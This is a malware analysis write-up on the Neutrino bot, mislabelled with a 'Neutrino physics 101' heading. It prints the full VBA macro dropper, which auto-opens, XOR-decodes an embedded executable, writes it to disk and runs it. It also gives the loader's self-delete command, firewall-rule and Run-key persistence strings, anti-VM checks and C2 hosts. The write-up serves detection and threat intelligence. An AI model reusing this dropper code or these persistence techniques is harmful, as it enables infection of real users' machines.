460 lines
15 KiB
Markdown
460 lines
15 KiB
Markdown
# Neutrino physics 101
|
||
## Table of Contents
|
||
* [Malware analysis](#Malware-analysis)
|
||
+ [The initial vector](#Initial)
|
||
+ [Loader](#loader)
|
||
+ [Final Implant](#Final)
|
||
* [Cyber kill chain](#Cyber-kill-chain)
|
||
* [Indicators Of Compromise (IOC)](#IOC)
|
||
* [Yara Rules](#Yara)
|
||
* [References MITRE ATT&CK Matrix](#Ref-MITRE-ATTACK)
|
||
* [Links](#Links)
|
||
+ [Original Tweet](#tweet)
|
||
+ [Link Anyrun](#Links-Anyrun)
|
||
+ [Ressources](#Ressources)
|
||
|
||
<h2>Malware analysis <a name="Malware-analysis"></a></h2>
|
||
<h3>The initial vector<a name="Initial"></a></h3>
|
||
|
||
<h6>The initial vector is an malicious document using a macro. The metadata of the maldoc is particulary interesting due to this prove that the maldoc isn't recently edited and is reused for dropped Neutrino many times.</h6>
|
||
<table>
|
||
<tr>
|
||
<td>Creator</td>
|
||
<td>Aga</td>
|
||
</tr>
|
||
<tr>
|
||
<td>Last Modified By</td>
|
||
<td>Dell</td>
|
||
</tr>
|
||
<tr>
|
||
<td>Creation Date</td>
|
||
<td>2016-04-19 09:21:00</td>
|
||
</tr>
|
||
<tr>
|
||
<td>Modified Date</td>
|
||
<td>2016-06-06 11:33:00</td>
|
||
</tr>
|
||
</table>
|
||
|
||
<h6>As the first look, we can note some constant variables can be replace and deletefor improvement the reading of the code.</h6>
|
||
|
||
``` VBA
|
||
|
||
Private Const HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHOneMask = 16515072
|
||
Private Const HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHTwoMask = 258048
|
||
Private Const HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHThreeMask = 4032
|
||
Private Const HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHFourMask = 63
|
||
|
||
Private Const HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHighMask = 16711680
|
||
Private Const HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHMidMask = 65280
|
||
Private Const HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHLowMask = 255
|
||
|
||
Private Const MNAJSAQQQQQQ18 = 262144
|
||
Private Const MNAJSAQQQQQQ12 = 4096
|
||
Private Const MNAJSAQQQQQQ6 = 64
|
||
Private Const MNAJSAQQQQQQ8 = 256
|
||
Private Const MNAJSAQQQQQQ16 = 65536
|
||
|
||
```
|
||
|
||
<h6> We can see the both functions for auto-open the macro in the reading of the document for the Word and Excel document. This is for a common code for the both vectors or for reduce the rate of the detection, hard to say it.</h6>
|
||
|
||
``` VBA
|
||
Sub AutoOpen()
|
||
AddSpace
|
||
End Sub
|
||
|
||
Private Sub Workbook_Open()
|
||
AddSpace
|
||
End Sub
|
||
```
|
||
|
||
<h6>This used an intermediate function for execute the main function.</h6>
|
||
|
||
``` VBA
|
||
Sub AddSpace()
|
||
RemoveParagraph
|
||
End Sub
|
||
```
|
||
|
||
<h6> The first two functions used by the macro are for encoded and decode in base 64 in using multiples interations of the data. This code can be seen in a post of a code forum seven years ago (cf links).</h6>
|
||
|
||
``` VBA
|
||
Public Function Encode64(sString As String) As String
|
||
Dim bTrans(63) As Byte, OOOPOOOOPOOOO8(255) As Long, OOOPOOOOPOOOO16(255) As Long, bOut() As Byte, bIn() As Byte
|
||
Dim var_B As Long, lTrip As Long, iPad As Integer, lLen As Long, i As Long, var_A As Long, lOutSize As Long
|
||
For i = 0 To 63
|
||
Select Case i
|
||
Case 0 To 25
|
||
bTrans(i) = 65 + i
|
||
Case 26 To 51
|
||
bTrans(i) = 71 + i
|
||
Case 52 To 61
|
||
bTrans(i) = i - 4
|
||
Case 62
|
||
bTrans(i) = 43
|
||
Case 63
|
||
bTrans(i) = 47
|
||
End Select
|
||
Next i
|
||
For i = 0 To 255
|
||
OOOPOOOOPOOOO8(i) = i * 256
|
||
OOOPOOOOPOOOO16(i) = i * 65536
|
||
Next i
|
||
iPad = Len(sString) Mod 3
|
||
If iPad Then
|
||
iPad = 3 - iPad
|
||
sString = sString & String(iPad, Chr(0))
|
||
End If
|
||
bIn = StrConv(sString, vbFromUnicode)
|
||
lLen = ((UBound(bIn) + 1) \ 3) * 4
|
||
i = lLen \ 72
|
||
lOutSize = ((i * 2) + lLen) - 1
|
||
ReDim bOut(lOutSize)
|
||
lLen = 0
|
||
For var_B = LBound(bIn) To UBound(bIn) Step 3
|
||
lTrip = OOOPOOOOPOOOO16(bIn(var_B)) + OOOPOOOOPOOOO8(bIn(var_B + 1)) + bIn(var_B + 2)
|
||
i = lTrip And 16515072
|
||
bOut(var_A) = bTrans(i \ 262144)
|
||
i = lTrip And 258048
|
||
bOut(var_A + 1) = bTrans(i \ 4096)
|
||
i = lTrip And 4032
|
||
bOut(var_A + 2) = bTrans(i \ 64)
|
||
bOut(var_A + 3) = bTrans(lTrip And 63)
|
||
If lLen = 68 Then
|
||
bOut(var_A + 4) = 13
|
||
bOut(var_A + 5) = 10
|
||
lLen = 0
|
||
var_A = var_A + 6
|
||
Else
|
||
lLen = lLen + 4
|
||
var_A = var_A + 4
|
||
End If
|
||
Next var_B
|
||
If bOut(lOutSize) = 10 Then lOutSize = lOutSize - 2
|
||
If iPad = 1 Then
|
||
bOut(lOutSize) = 61
|
||
ElseIf iPad = 2 Then
|
||
bOut(lOutSize) = 61
|
||
bOut(lOutSize - 1) = 61
|
||
End If
|
||
Encode64 = StrConv(bOut, vbUnicode)
|
||
End Function
|
||
|
||
Public Function Decrypt(sString As String) As String
|
||
Dim bOut() As Byte, bIn() As Byte, bTrans(255) As Byte, OOOPOOOOPOOOO6(63) As Long, OOOPOOOOPOOOO12(63) As Long
|
||
Dim OOOPOOOOPOOOO18(63) As Long, lQuad As Long, iPad As Integer, var_B As Long, var_A As Long, sOut As String
|
||
Dim i As Long
|
||
sString = Replace(sString, vbCr, vbNullString)
|
||
sString = Replace(sString, vbLf, vbNullString)
|
||
i = Len(sString) Mod 4
|
||
If InStrRev(sString, "==") Then
|
||
iPad = 2
|
||
ElseIf InStrRev(sString, "=") Then
|
||
iPad = 1
|
||
End If
|
||
For i = 0 To 255
|
||
Select Case i
|
||
Case 65 To 90
|
||
bTrans(i) = i - 65
|
||
Case 97 To 122
|
||
bTrans(i) = i - 71
|
||
Case 48 To 57
|
||
bTrans(i) = i + 4
|
||
Case 43
|
||
bTrans(i) = 62
|
||
Case 47
|
||
bTrans(i) = 63
|
||
End Select
|
||
Next i
|
||
For i = 0 To 63
|
||
OOOPOOOOPOOOO6(i) = i * 64
|
||
OOOPOOOOPOOOO12(i) = i * 4096
|
||
OOOPOOOOPOOOO18(i) = i * 262144
|
||
Next i
|
||
bIn = StrConv(sString, vbFromUnicode)
|
||
ReDim bOut((((UBound(bIn) + 1) \ 4) * 3) - 1)
|
||
For var_B = 0 To UBound(bIn) Step 4
|
||
lQuad = OOOPOOOOPOOOO18(bTrans(bIn(var_B))) + OOOPOOOOPOOOO12(bTrans(bIn(var_B + 1))) + OOOPOOOOPOOOO6(bTrans(bIn(var_B + 2))) + bTrans(bIn(var_B + 3))
|
||
i = lQuad And 16711680
|
||
bOut(var_A) = i \ 65536
|
||
i = lQuad And 65280
|
||
bOut(var_A + 1) = i \ 256
|
||
bOut(var_A + 2) = lQuad And 255
|
||
var_A = var_A + 3
|
||
Next var_B
|
||
sOut = StrConv(bOut, vbUnicode)
|
||
If iPad Then sOut = Left$(sOut, Len(sOut) - iPad)
|
||
Decrypt = sOut
|
||
End Function
|
||
```
|
||
|
||
<h6>The next function is for delete the existing content.</h6>
|
||
|
||
``` VBA
|
||
Public Sub Wipedir(path As String)
|
||
Dim ScriptingObj
|
||
Set ScriptingObj = CreateObject("Scripting.FileSystemObject")
|
||
If ScriptingObj.folderexists(path) Then
|
||
ScriptingObj.deletefolder path
|
||
Else
|
||
End
|
||
End If
|
||
End Sub
|
||
```
|
||
|
||
<h6>The last functions are the main function and that allow to execute the macro. This xor the content of the data by 76 (0x4C), write in on the all users location and execute the loader.</h6>
|
||
|
||
``` VBA
|
||
Sub RemoveParagraph()
|
||
Dim j As Integer
|
||
Dim Name_Payload As String
|
||
Dim Path As String
|
||
Dim FreeFileSlot As Integer
|
||
Dim para As Paragraph
|
||
Dim i As Long
|
||
Dim data_para As String
|
||
Dim Byte_payload As Byte
|
||
Dim Unknown_Ref As String
|
||
Unknown_Ref = "Startincex"
|
||
Path = Environ("ALLUSERSPROFILE") + "\Memsys"
|
||
If Len(dir(Path, vbDirectory)) = 0 Then
|
||
MkDir (Decrypt(Encode64(Path)))
|
||
Else:
|
||
Wipedir (Path)
|
||
MkDir (Decrypt(Encode64(Path)))
|
||
End If
|
||
Name_Payload = "ms.exe"
|
||
ChDrive (Path)
|
||
ChDir (Decrypt(Encode64(Path)))
|
||
FreeFileSlot = FreeFile()
|
||
Open Name_Payload For Binary As FreeFileSlot
|
||
j = 0
|
||
For Each para In ActiveDocument.Paragraphs
|
||
DoEvents
|
||
data_para = para.Range.Text
|
||
i = 1
|
||
j = j + 1
|
||
If j >= 24 Then
|
||
While (i < Len(data_para))
|
||
Byte_payload = "&H" & Mid(data_para, i, 2)
|
||
Byte_payload = Byte_payload Xor &H4C ' Xor 76
|
||
Put #FreeFileSlot, , Byte_payload
|
||
i = i + 2
|
||
Wend
|
||
End If
|
||
Next
|
||
Close #FreeFileSlot
|
||
Exec (Name_Payload)
|
||
End Sub
|
||
|
||
Sub Exec(Name_Payload0 As String)
|
||
Dim Path As String
|
||
Dim OBsGG
|
||
Path = Environ("ALLUSERSPROFILE") + "\Memsys"
|
||
ChDrive (Path)
|
||
ChDir (Decrypt(Encode64(Path)))
|
||
OBsGG = Shell((Path + "\ms.exe"), 1)
|
||
End Sub
|
||
```
|
||
|
||
<h3>The loader<a name="loader"></a></h3>
|
||
|
||
<h6>After loaded in memory, this delete himself by a concated command with a ping command</h6>
|
||
|
||
```winbatch
|
||
cmd.exe /a /c ping 127.0.0.1 -n 3&del "%PROGRAMFILES(X86)%\Memsys\ms.exe"
|
||
```
|
||
|
||
<h6>The loader creates a mutex with a name that is hardcoded in the binary:"Z0BAZwxx" ,we can note too that the loader add two rules in the firewall on the victim.</h6>
|
||
|
||
```asm
|
||
0x00404e3e jb 0x404e4d
|
||
0x00404e40 push eax
|
||
0x00404e41 push str.Z0BAZwxx ; 0x407098 ; u"Z0BAZwxx"
|
||
0x00404e46 push str.netsh_advfirewall_firewall_add_rule_name___s__dir_in_action_allow_program___s ; 0x407138 ; u"netsh advfirewall firewall add rule name=\"%s\" dir=in action=allow program=\"%s\""
|
||
0x00404e4b jmp 0x404e58
|
||
0x00404e4d push str.Z0BAZwxx ; 0x407098 ; u"Z0BAZwxx"
|
||
0x00404e52 push eax
|
||
0x00404e53 push str.netsh_firewall_add_allowedprogram___s___s_ENABLE ; 0x4070d0 ; u"netsh firewall add allowedprogram \"%s\" %s ENABLE"
|
||
0x00404e58 push esi
|
||
0x00404e59 call ebx
|
||
0x00404e5b add esp, 0x10
|
||
0x00404e5e push esi
|
||
```
|
||
|
||
<h6>This push a run key for the persistence for the implant :</h6>
|
||
|
||
```winbatch
|
||
Key: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
|
||
Name: [a-z]{5}_32.exe/[a-z]{5}.exe [x86/x64]<br/>
|
||
Path: C:\Users\admin\AppData\Roaming\Z0BAZwxx\{Filename}
|
||
```
|
||
|
||
<h6>The name of the mutex is also used for the name of folder in Appdata.</h6>
|
||
<h6>The loader use a xor for get the final implant.</h6>
|
||
|
||
```asm
|
||
0x004066db xor word [eax], 0xff ; 255
|
||
0x004066e0 add eax, 2
|
||
0x004066e3 cmp word [eax], 0
|
||
0x004066e7 jne 0x4066db
|
||
```
|
||
|
||
<h6> Once the data extracted, this create a new process if rights is high, this use runas by wmi call instead it</h6>
|
||
|
||
```asm
|
||
0x00405e2e push str.ComSpec ; 0x4070ac ; u"ComSpec"
|
||
0x00405e33 call eax
|
||
|
||
0x00405e5a push str.a__c__s ; 0x4070bc ; u" /a /c %s"
|
||
0x00405e5f push esi
|
||
0x00405e60 call dword [ebp - 0x28]
|
||
0x00405e63 push 0x3c7bf3ff
|
||
0x00405e68 push ebx
|
||
|
||
0x00405eef push str.process_call_create__s ; 0x4071f8 ; u"process call create %s"
|
||
0x00405ef4 push eax
|
||
0x00405ef5 call esi
|
||
0x00405ef7 add esp, 0x10
|
||
0x00405efa test eax, eax
|
||
|
||
0x00405f18 push 0xb289d372
|
||
0x00405f1d push 8 ; 8
|
||
0x00405f1f mov dword [ebp - 0x44], 0x3c ; '<' ; 60
|
||
0x00405f26 mov dword [ebp - 0x38], str.runas ; 0x407228 ; u"runas"
|
||
0x00405f2d mov dword [ebp - 0x34], str.wmic ; 0x407234 ; u"wmic"
|
||
0x00405f34 mov dword [ebp - 0x30], eax
|
||
```
|
||
|
||
<h3>Final Implant<a name="Final"></a></h3>
|
||
|
||
<h6>The implant use multiples method for anti-VM and sandbox :</h6>
|
||
<ul>
|
||
<li><h6>Use the couple of functions {CreateToolhelp32Snapshot – Process32First– Process32Next} for list the processs and compare to a blacklist. In addition this check the list with checksum </h6></li>
|
||
|
||
``` asm
|
||
0xB1CBC652
|
||
0x46EE4F10
|
||
0x583EB7E8
|
||
0xC03EAA65
|
||
0x6D3E6FDD
|
||
0x47000343
|
||
0xC608982D
|
||
0x6169078A
|
||
0xF6EC4B30
|
||
```
|
||
|
||
<li><h6>Use the couple of functions {CreateToolhelp32Snapshot – Process32First– Process32Next} for list of the modules of the processs and compare to another blacklist.</h6></li>
|
||
|
||
``` asm
|
||
0xAC12B9FB
|
||
0x5B747561
|
||
0x53309C85
|
||
0xE53ED522
|
||
0xC106E17B
|
||
0x5608BCC4
|
||
0x6512F9D0
|
||
0xC604D52A
|
||
0x4D0651A5
|
||
0x1C669D6A
|
||
0xC2F56A18
|
||
```
|
||
|
||
<li><h6>Check if the VboxGuest is present in using QueryDosDevices</h6></li>
|
||
<li><h6>Check if the debugger is present by the couple of function {IsDebuggerPresent - CheckRemoteDebuggerPresent}</h6></li>
|
||
<li><h6>Check the delta of the time by {GetTickCount – Sleep – GetTickCount}</h6></li>
|
||
<li><h6>Use GetClassName of each result of EnumWindows (Enumate all windows in the screen) for check the blacklist class</h6></li>
|
||
|
||
``` asm
|
||
0xCF388E01
|
||
0xD486D951
|
||
0x39177889
|
||
0x6689BB92
|
||
0x3C5FF312
|
||
0xFE9EA0D5
|
||
0x6D3FA1CA
|
||
0x9B5A88D9
|
||
0x4B4576B5
|
||
0xAED304FC
|
||
0x225FD98F
|
||
```
|
||
|
||
</ul>
|
||
|
||
<h6>The list of the IP to contact are hardcoded in base64.</h6>
|
||
|
||
<h6>This can perform the following actions :</h6>
|
||
<ul>
|
||
<li><h6>Take screenshot</h6></li>
|
||
<li><h6>Capture keystrokes</h6></li>
|
||
<li><h6>Download and execute additionnal payload</h6></li>
|
||
<li><h6>DDoS attacks</h6></li>
|
||
<li><h6>Spoof the DNS requests</h6></li>
|
||
</ul>
|
||
|
||
<h2> Cyber kill chain <a name="Cyber-kill-chain"></a></h2>
|
||
<h6>The process graph resume cyber kill chains used by the attacker :</h6>
|
||
<p align="center">
|
||
<img src="https://raw.githubusercontent.com/StrangerealIntel/CyberThreatIntel/master/Additional%20Analysis/Neutrino/Pictures/cyberkill.PNG">
|
||
</p>
|
||
<h2> Indicators Of Compromise (IOC) <a name="IOC"></a></h2>
|
||
<h6> List of all the Indicators Of Compromise (IOC)</h6>
|
||
|
||
|Indicator|Description|
|
||
| ------------- |:-------------:|
|
||
|c4ad847c748521baaa76de1d2fbadd9c6f4801f2f3da72f75735c1262b92af3c|impor.doc|
|
||
|c0355c2a7241cb9f764297cf4e7e758116c82db35f909cf18091ec2085fe23ce|jevgr.exe|
|
||
|nurofenpanadol.su|Domain C2|
|
||
|ns.dotbit.me|Domain C2|
|
||
|alors.deepdns.cryptostorm.net|Domain C2|
|
||
|onyx.deepdns.cryptostorm.net|Domain C2|
|
||
|ns1.any.dns.d0wn.biz|Domain C2|
|
||
|ns1.random.dns.d0wn.biz|Domain C2|
|
||
|ns2.random.dns.d0wn.biz|Domain C2|
|
||
|civet.ziphaze.com|Domain C2|
|
||
|anyone.dnsrec.meo.ws|Domain C2|
|
||
|ist.fellig.org|Domain C2|
|
||
|ns1.sg.dns.d0wn.biz|Domain C2|
|
||
|ns2.fr.dns.d0wn.biz|Domain C2|
|
||
|ns1.nl.dns.d0wn.biz|Domain C2|
|
||
|178.17.170.133|IP C2|
|
||
|107.161.16.236|IP C2|
|
||
|46.254.21.69|IP C2|
|
||
|185.14.29.140|IP C2|
|
||
|37.187.0.40|IP C2|
|
||
|178.63.145.236|IP C2|
|
||
|95.85.9.86|IP C2|
|
||
|128.199.248.105|IP C2|
|
||
|
||
<h6> The IOC can be exported in <a href="https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/Additional%20Analysis/Neutrino/Json/IOC.json">JSON</a></h6>
|
||
|
||
<h2> References MITRE ATT&CK Matrix <a name="Ref-MITRE-ATTACK"></a></h2>
|
||
|
||
|Enterprise tactics|Technics used|Ref URL|
|
||
| :---------------: |:-------------| :------------- |
|
||
|Execution|Command-Line Interface<br>Execution through API<br>User Execution|https://attack.mitre.org/techniques/T1059/<br>https://attack.mitre.org/techniques/T1106/<br>https://attack.mitre.org/techniques/T1204/|
|
||
|Persistence|Registry Run Keys / Startup Folder|https://attack.mitre.org/techniques/T1060/|
|
||
|Defense Evasion|Disabling Security Tools|https://attack.mitre.org/techniques/T1089/|
|
||
|Discovery|Query Registry<br>System Information Discovery|https://attack.mitre.org/techniques/T1012/<br>https://attack.mitre.org/techniques/T1082/|
|
||
|
||
<h6> This can be exported as <a href="https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/Additional%20Analysis/Neutrino/Json/TTPs.json">JSON</a>format</h6>
|
||
<h2>Yara Rules<a name="Yara"></a></h2>
|
||
<h6> YARA Rules are available <a href="https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/Additional%20Analysis/Neutrino/Yara/Yara_Neutrino.yar">here</a></h6>
|
||
<h2>Links <a name="Links"></a></h2>
|
||
<h6> Original tweet: </h6><a name="tweet"></a>
|
||
|
||
* [https://twitter.com/JAMESWT_MHT/status/1225796259845414912](https://twitter.com/JAMESWT_MHT/status/1225796259845414912)
|
||
|
||
<h6> Links Anyrun: <a name="Links-Anyrun"></a></h6>
|
||
|
||
* [impor.doc](https://app.any.run/tasks/454fe6a2-e2d0-4fa3-ba1d-78e2c7372ddd)
|
||
|
||
<h6> Resources : </h6><a name="Ressources"></a>
|
||
|
||
* [Encode64 / Decode64 in VB.NET](https://stackoverflow.com/questions/12879661/encode64-decode64-in-vb-net)
|
||
* [New Neutrino Bot comes in a protective loader](https://blog.malwarebytes.com/threat-analysis/2017/02/new-neutrino-bot-comes-in-a-protective-loader/)
|
||
* [Checksum calculator (from NeutrinoBot Loader)](https://gist.github.com/hasherezade/aefabdb9a67193ef05c93228a78c20c6#file-checksum-cpp)
|
||
* [URLhaus Neutrino](https://urlhaus.abuse.ch/browse/tag/Neutrino/)
|
||
* [VB2019 paper: Rich Headers: leveraging this mysterious artifact of the PE format](https://www.virusbulletin.com/virusbulletin/2020/01/vb2019-paper-rich-headers-leveraging-mysterious-artifact-pe-format/)
|